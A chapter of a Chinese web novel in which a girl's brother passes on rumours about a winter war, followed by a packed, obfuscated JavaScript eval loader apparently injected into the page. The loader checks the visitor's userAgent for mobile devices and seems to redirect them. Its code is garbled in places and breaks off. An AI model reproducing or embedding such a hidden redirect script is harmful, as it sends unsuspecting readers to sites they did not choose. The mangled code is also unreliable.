冬天过去，春天来临。卡特兰不愧是地理位置最好的地方，四季分明。如今气候温暖了许多，凯瑟琳的屋子里也照进了阳光。
冬季的战争仿佛声势浩大地开始，但是草草结束了。
不再下雪以后，麦克家恢复了以往的生活，食物不再短缺。人们能在树林里打到更多的猎物。
凯瑟琳最近热衷向哥哥打听奥斯金的事，于是麦克森总会在听到大人们谈论的时候多竖起一只耳朵。
“谁打赢了？快和我说说。”凯瑟琳一边压低声音，一边帮麦克森把斗篷脱下来。哪怕到了春天，他还总是穿着它。
“嘘！”男孩煞有介事地竖起手指。
最近他觉得妹妹越来越活泼了……甚至有点过于活泼了。凯瑟琳有时候捉弄他，他也能反应过来。
关于冬天的那场战争，麦克森听到了好几个不同的版本。
“杰斐逊先生从西边路过法莫尔，说他看到了一些逃跑的士兵。”
“我们国家的？”
“当然不是！”
“噢。”
男孩接着说：“是拉诺亚特的。”他压低声音。
“不是我们和奥斯金打起来了吗？”凯瑟琳不解。
“杰斐逊先生说，奥斯金战败了。但是他们不甘心，于是去抢劫我们的盟友。”
“——你知道，国王刚娶了他们的公主。”
凯瑟琳不理解，为什么北方战场的奥斯金士兵会绕过半个卡特兰，专门去抢劫拉诺亚特。
……这连路费都不一定够吧，还要冒着被卡特兰从后背偷袭的风险。
算了，哥哥说什么就听什么吧。
“所以我们胜利了？”凯瑟琳最后问道。
麦克森点点头。
“冬天到了，杰斐逊先生说奥斯金的人们需要准备过冬的食物，他们没功夫打仗了。”
凯瑟琳歪在床上，看着坐在对面的麦克森兴致勃勃地给她说那些听来的新鲜事。她突然觉得自己有点喜欢这了。
过了一会儿。
麦克森被父亲叫出去干活了。
凯瑟琳碰到了压在被子下的那本日记，她冷静下来，感觉自己刚才疯了。
她把日记塞回去，开始对着自己的头发练习魔法。</
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replaew RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod